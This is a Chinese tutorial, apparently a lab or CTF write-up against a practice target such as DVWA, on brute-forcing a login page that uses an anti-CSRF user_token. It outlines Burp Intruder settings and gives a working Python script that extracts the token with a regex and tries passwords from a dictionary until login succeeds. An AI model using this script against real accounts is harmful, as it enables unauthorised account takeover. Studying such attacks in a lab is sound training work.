目录
burp穷举
重定向跳转
叉子模式
正则匹配
设置线程
初始token
模式选择
排序
python脚本穷举
user_token
post数据会拿着user_token去提交
脚本如下
import requests
import re
url = "url"
def login(password):
session = requests.session()
req = session.get(url)
user_token = re.search("[a-z0-9]{32}", req.text).group(0)
data = {"username": "admin", "password": password, "Login": "Login", 'user_token': user_token}
req = session.post(url=url, data=data, allow_redirects=True)
return req.text
with open("C:/Users\\admin\Desktop\CTF\字典\\top1000.txt","r",encoding="UTF-8") as p:
passlist = p.readlines()
for cont in passlist:
cont = cont.strip("\n")
if 'File Upload' in login(cont):
print("密码是 %s " % cont)
break
代码分析
使用with open (),不需要写close语句,默认自动帮我们关闭文件
读取字典内容并去除换行符,将每行内容送入login函数
在login函数里先用session维持一个会话,再通过session句柄发起一个get请求访问该网站,通过正则匹配找到源代码中的32位的token,设置post需要的data参数,allow_redirects 参数,这个参数是指明在请求的时候是否允许重定向,通过session发起一个post请求并返回重定向后页面的源代码
判断如果登录成功后的File Upload在返回的源代码中,就输出密码并结束程序
效果展示